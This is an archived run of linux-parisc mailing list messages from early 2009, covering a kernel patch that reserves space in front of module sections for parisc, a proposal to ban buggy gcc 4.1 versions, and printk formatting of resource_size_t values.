> Ah, OK.  I assumed that extra room at the end was sufficient.
> 
> So I've taken your previous patch and renamed the function to
> arch_mod_section_prepend().  

Thanks a lot !!!!
Patch below is ok and I'll adjust the parisc-specific patch
acordingly.

> If we decide not to kill those bad gcc versions,
> I'll stick it in some other random file (lib/weak.c?  Blech...)

Andrew has pulled in the patch from Adrian in his -mm tree, so we should
be safe now.

> BTW, this is very late for this merge window.  I would have liked to see
> this a month ago :(

Yes, sorry, I didn't had a patch available earlier.
I hope it's still in-time though, esp. as this will fix one of our longest
outstanding bugs on parisc and is quite important for us.

Thanks,
Helge


> Subject: module: fix module loading failure of large kernel modules for parisc
> Date: Wed, 31 Dec 2008 12:31:18 +0100
> From: Helge Deller <deller@gmx.de>
> 
> When creating the final layout of a kernel module in memory, allow the
> module loader to reserve some additional memory in front of a given section.
> This is currently only needed for the parisc port which needs to put the
> stub entries there to fulfill the 17/22bit PCREL relocations with large
> kernel modules like xfs.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> (renamed fn)
> 
> diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
> --- a/include/linux/moduleloader.h
> +++ b/include/linux/moduleloader.h
> @@ -12,6 +12,9 @@ int module_frob_arch_sections(Elf_Ehdr *
>  			      Elf_Shdr *sechdrs,
>  			      char *secstrings,
>  			      struct module *mod);
> +
> +/* Additional bytes needed by arch in front of individual sections */
> +unsigned int arch_mod_section_prepend(struct module *mod, unsigned int section);
>  
>  /* Allocator used for allocating struct module, core sections and init
>     sections.  Returns NULL on failure. */
> diff --git a/kernel/module.c b/kernel/module.c
> --- a/kernel/module.c
> +++ b/kernel/module.c
> @@ -1588,11 +1588,21 @@ static int simplify_symbols(Elf_Shdr *se
>  	return ret;
>  }
>  
> +/* Additional bytes needed by arch in front of individual sections */
> +unsigned int __weak arch_mod_section_prepend(struct module *mod,
> +					     unsigned int section)
> +{
> +	/* default implementation just returns zero */
> +	return 0;
> +}
> +
>  /* Update size with this section: return offset. */
> -static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
> +static long get_offset(struct module *mod, unsigned int *size,
> +		       Elf_Shdr *sechdr, unsigned int section)
>  {
>  	long ret;
>  
> +	*size += arch_mod_section_prepend(mod, section);
>  	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
>  	*size = ret + sechdr->sh_size;
>  	return ret;
> @@ -1632,7 +1642,7 @@ static void layout_sections(struct modul
>  			    || strncmp(secstrings + s->sh_name,
>  				       ".init", 5) == 0)
>  				continue;
> -			s->sh_entsize = get_offset(&mod->core_size, s);
> +			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
>  			DEBUGP("\t%s\n", secstrings + s->sh_name);
>  		}
>  		if (m == 0)
> @@ -1650,7 +1660,7 @@ static void layout_sections(struct modul
>  			    || strncmp(secstrings + s->sh_name,
>  				       ".init", 5) != 0)
>  				continue;
> -			s->sh_entsize = (get_offset(&mod->init_size, s)
> +			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
>  					 | INIT_OFFSET_MASK);
>  			DEBUGP("\t%s\n", secstrings + s->sh_name);
>  		}
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 01 Jan 2009 14:06:23 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <495CBFCF.3010702@gmx.de>
References: <20081210040549.5E7E64EF0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230815193 22116 80.91.229.12 (1 Jan 2009 13:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 13:06:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 14:07:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LINGy-0004zT-QR
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 14:07:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756117AbZAANGU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 08:06:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756119AbZAANGU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 08:06:20 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:43001 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756117AbZAANGT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 08:06:19 -0500
Original-Received: (qmail invoked by alias); 01 Jan 2009 13:06:16 -0000
Original-Received: from mnhm-590e08d5.pool.einsundeins.de (EHLO halden.box) [89.14.8.213]
  by mail.gmx.net (mp071) with SMTP; 01 Jan 2009 14:06:16 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18WV8s5R6AWR236UqeHWdYCXPeaxxu33p9SVqvf/l
	ouesv3aXSNuxiE
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20081210040549.5E7E64EF0@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1078>

John David Anglin wrote:
>> On Mon, Dec 08, 2008 at 11:00:51AM -0500, Kyle McMartin wrote:
> Attached below is the change that I had.  Think this includes some
> additional locations to update.

Kyle,
in case you plan to include this patch from Dave in your linux-2.6 tree,
please DON'T INCLUDE this change to the "hilkbd.c" file:
  a/drivers/input/keyboard/hilkbd.c   2008-12-01 22:59:23.000000000 -0500
	-               printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lx\n", dev->hpa.start);
	+               printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%p\n", (void *)dev->hpa.start);

Reason:
I've sent another patch for hilkbd.c to the linux-input mailing list, 
which already includes this change (and I had forgotten about Dave's posting):
[PATCH] input/keyboard/hilkbd.c: fix crash when removing hilkbd module 
         http://permalink.gmane.org/gmane.linux.kernel.input/6266 
If you apply Dave's hilkbd changes, it may conflict if Linus pulls your parisc tree.
All other changes from Dave are OK.

Helge

PS: For the record, this are the other patches which I sent to linux-input:
[PATCH] input/HIL drivers: add MODULE_ALIAS() 
         http://permalink.gmane.org/gmane.linux.kernel.input/6267 
 
[PATCH] drivers/input/serio/hp_sdc.c: fix crash when removing hp_sdc module 
         http://permalink.gmane.org/gmane.linux.kernel.input/6268 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
	modules (take 4)
Date: Thu, 1 Jan 2009 15:24:01 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20090101142401.GA25690@elte.hu>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com> <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230819920 381 80.91.229.12 (1 Jan 2009 14:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 14:25:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Roland Dreier <rdreier@cisco.com>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 15:26:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIOV6-0006ag-36
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 15:26:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755847AbZAAOY7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 09:24:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756073AbZAAOY7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 09:24:59 -0500
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:50754 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755759AbZAAOY5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 09:24:57 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LIOT1-0007e6-Ea
	from <mingo@elte.hu>; Thu, 01 Jan 2009 15:24:14 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id A226D3E21AA; Thu,  1 Jan 2009 15:24:00 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1079 gmane.linux.kernel:774191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1079>


* Linus Torvalds <torvalds@linux-foundation.org> wrote:

> 
> 
> On Wed, 31 Dec 2008, Andrew Morton wrote:
> > 
> > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > banning them: http://lkml.org/lkml/2008/8/5/444
> 
> If it really is just those releases, then yes, considering the number of 
> cases we apparently have, and considering how ugly it is in some cases 
> to move the weak function anywhere else, maybe banning those versions is 
> the proper thing to do.
> 
> It probably won't hurt very many people - yeah, some people will be 
> forced to upgrade, but I have this memory of early 4.1 having had other 
> bugs anyway, so it's probably a good idea.

That would be _really_ nice to do IMHO: in many cases putting the __weak 
definition into same-file scope with a call site is a natural approach. I 
think that's how we ended up having so many instances of that bug. When 
you use __weak as a 'default implementation' for some function, then it's 
very natural to put it into the same file that also uses it.

It goes into separate, inactive scope only in a few special cases: such as 
when it's some library function that can be overriden by the architecture. 
But if it's some non-libray kernel code then the usage site is close to 
the definition site.

If you look at most of the __weak fixes they IMO actually turned clean 
code into less clean code: they detached some natural clustering of 
definition and callsite.

And __weak is very elegant IMO, it can avoid a lot of #ifdefs and can be 
used to self-document architecture interfaces - so it would be nice to 
make it always work, regardless of the callsite's scope.

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Thu, 1 Jan 2009 08:37:32 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20090101083732.51694e45.akpm@linux-foundation.org>
References: <4959346E.7060600@gmx.de>
	<200812310915.41693.rusty@rustcorp.com.au>
	<495B5806.3080505@gmx.de>
	<alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
	<ada63l0qmba.fsf@cisco.com>
	<alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	<20081231105425.9ccac21d.akpm@linux-foundation.org>
	<alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
	<20090101142401.GA25690@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230827921 19675 80.91.229.12 (1 Jan 2009 16:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 16:38:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Roland Dreier <rdreier@cisco.com>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
	Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	stable@kernel.org
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 17:39:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIQaH-00079E-Jn
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 17:39:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756303AbZAAQi3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 11:38:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756293AbZAAQi2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 11:38:28 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:39420 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756266AbZAAQi1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 11:38:27 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n01GbZ8E021214
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 1 Jan 2009 08:37:36 -0800
Original-Received: from y.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id n01GbWqL011208;
	Thu, 1 Jan 2009 08:37:34 -0800
In-Reply-To: <20090101142401.GA25690@elte.hu>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.5; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-4.919 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1080 gmane.linux.kernel:774206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1080>

On Thu, 1 Jan 2009 15:24:01 +0100 Ingo Molnar <mingo@elte.hu> wrote:

> * Linus Torvalds <torvalds@linux-foundation.org> wrote:
> 
> > 
> > 
> > On Wed, 31 Dec 2008, Andrew Morton wrote:
> > > 
> > > Adrian claimed that it was gcc-4.1.0 and 4.1.1 only.  He proposed
> > > banning them: http://lkml.org/lkml/2008/8/5/444
> > 
> > If it really is just those releases, then yes, considering the number of 
> > cases we apparently have, and considering how ugly it is in some cases 
> > to move the weak function anywhere else, maybe banning those versions is 
> > the proper thing to do.
> > 
> > It probably won't hurt very many people - yeah, some people will be 
> > forced to upgrade, but I have this memory of early 4.1 having had other 
> > bugs anyway, so it's probably a good idea.
> 
> That would be _really_ nice to do IMHO

I wonder if we should do it in -stable too.  Probably yes.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: uid/gid issues on 2.6.26-rc2
Date: Thu, 1 Jan 2009 11:55:31 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20090101165532.2F8E04F19@hiauly1.hia.nrc.ca>
References: <495C9B85.3000009@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230828946 22197 80.91.229.12 (1 Jan 2009 16:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 16:55:46 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, T-Bone@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 17:56:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIQqp-0003AQ-VZ
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 17:56:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756401AbZAAQzf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 11:55:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756394AbZAAQzf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 11:55:35 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3212 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756294AbZAAQze (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 11:55:34 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2F8E04F19; Thu,  1 Jan 2009 11:55:32 -0500 (EST)
In-Reply-To: <495C9B85.3000009@gmx.de> from "Helge Deller" at Jan 1, 2009 11:31:33 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1081>

> > The failure appears random.  I think the problem occurs shortly after
> > forking.  It doesn't seem to be present in the 64-bit SMP 2.6.28 test
> > kernel that I'm testing.
> 
> I think your assumption that it is related to fork might be correct.

I tried tracing what happens with sshd when a connection occurs but
I didn't learn much.  The uid/gid authentication uses compat mode on
the system where I see this problem.  It seems as if the authentication
setup is passed across the fork as I don't see any access to /etc/passwd
or /etc/shadow (password authentication is being used in this case).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 1 Jan 2009 12:14:41 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090101171442.5BF174EDA@hiauly1.hia.nrc.ca>
References: <495CBFCF.3010702@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230830094 25378 80.91.229.12 (1 Jan 2009 17:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 17:14:54 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 18:16:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIR9O-0008OT-OW
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 18:16:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756195AbZAAROp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 12:14:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756170AbZAAROp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 12:14:45 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3328 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756068AbZAAROo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 12:14:44 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5BF174EDA; Thu,  1 Jan 2009 12:14:42 -0500 (EST)
In-Reply-To: <495CBFCF.3010702@gmx.de> from "Helge Deller" at Jan 1, 2009 02:06:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1082>

Hi Helge,

I just want to say that I like Kyle's approach.  There already exists
the 'R' modifier for %p.  This outputs a pair of resource_size_t values.
We just need a modifier to handle the printing of the start value in
a manner similar to that for the 'R' modifier.  So, I think this issue
needs another go around.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 01 Jan 2009 18:32:16 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <495CFE20.2000702@gmx.de>
References: <20090101171442.5BF174EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230831144 29819 80.91.229.12 (1 Jan 2009 17:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 17:32:24 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 18:33:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIRQI-0004Pa-2J
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 18:33:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755905AbZAARcN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 12:32:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754755AbZAARcN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 12:32:13 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:50521 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755905AbZAARcN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 12:32:13 -0500
Original-Received: (qmail invoked by alias); 01 Jan 2009 17:32:09 -0000
Original-Received: from mnhm-590e08d5.pool.einsundeins.de (EHLO halden.box) [89.14.8.213]
  by mail.gmx.net (mp053) with SMTP; 01 Jan 2009 18:32:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+TtpYljCuTYvWp2JnH9CE/Hhmzm7gj8HWwQCd7SR
	3oWofuRc3FbrhE
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090101171442.5BF174EDA@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.68
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1083>

John David Anglin wrote:
> Hi Helge,
> 
> I just want to say that I like Kyle's approach.  There already exists
> the 'R' modifier for %p.  This outputs a pair of resource_size_t values.
> We just need a modifier to handle the printing of the start value in
> a manner similar to that for the 'R' modifier.  So, I think this issue
> needs another go around.

Sadly none of the approaches is really nice, as with Kyle's approach we'd
loose the type-checking of printk.
But yes, maybe that's the best choice of all bad ones.
Will you try/come up with a patch to vsprintf.c?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
